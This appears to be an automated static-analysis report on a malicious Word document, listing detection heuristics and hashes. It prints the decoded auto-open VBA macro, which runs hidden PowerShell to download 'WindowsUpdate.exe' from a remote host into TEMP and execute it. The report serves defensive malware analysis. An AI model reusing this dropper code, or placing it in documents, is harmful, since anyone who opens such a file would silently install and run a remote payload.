Malicious Office (OLE) / .DOC — malware analysis report

Static analysis result for SHA-256 b87a63d4666a0de5…

MALICIOUS

Office (OLE) / .DOC

30.5 KB Created: 2026-05-17 16:21:00 Authoring application: Microsoft Office Word First seen: 2026-06-25
MD5: 3fd59ce4a49e118d86180828e041ac5b SHA-1: 8f3ca15b2bfc49e576b9cd503d5e90d21392d6bc SHA-256: b87a63d4666a0de5558a7966f09e1419559dece262b0e85cb168de0e694b2171
426 Risk Score

Heuristics 13

  • ClamAV: Doc.Downloader.Pwshell-10001336-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Pwshell-10001336-0
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Shell str, vbHide
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
        str = "powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command ""(New-Object System.Net.WebClient).DownloadFile('http://192.168.61.128/WindowsUpdate.exe','" & savePath & "')"""
  • VBA stages a PowerShell/LOLBin download-and-run command critical OLE_VBA_BITSTRANSFER_DROPPER
    The macro assembles a download command using a PowerShell or LOLBin download primitive (Start-BitsTransfer, Invoke-WebRequest, Net.WebClient, bitsadmin, certutil, ...) that fetches a remote payload, then executes it -- writing it to a script file and running it, or launching it directly from an auto-exec handler. The keywords are commonly split with PowerShell backtick / cmd caret escapes to evade scanners; this detection de-escapes the source first. A high-confidence downloader/dropper, stronger than the individual Shell / download keywords on their own.
    Matched line in script
    Sub Document_Open()
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        savePath = Environ("TEMP") & "\WindowsUpdate.exe"
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://192.168.61.128/WindowsUpdate.exe In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 998 bytes
SHA-256: 7a2ca691d91223977522524e108aedcdcd4772ba420a5e594b79f5e9bb9165ba
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub Document_Open()
    Macro1
End Sub

Sub AutoOpen()
    Macro1
End Sub

Sub Macro1()

    Dim savePath As String
    savePath = Environ("TEMP") & "\WindowsUpdate.exe"
    
    Dim str As String
    str = "powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command ""(New-Object System.Net.WebClient).DownloadFile('http://192.168.61.128/WindowsUpdate.exe','" & savePath & "')"""
    
    Shell str, vbHide
    
    Wait (5)
    
    If Dir(savePath) <> "" Then
        Shell savePath, vbHide
    End If

End Sub


Sub Wait(n As Long)
    Dim t As Date
    t = Now
    Do
        DoEvents
    Loop Until Now >= DateAdd("s", n, t)
End Sub

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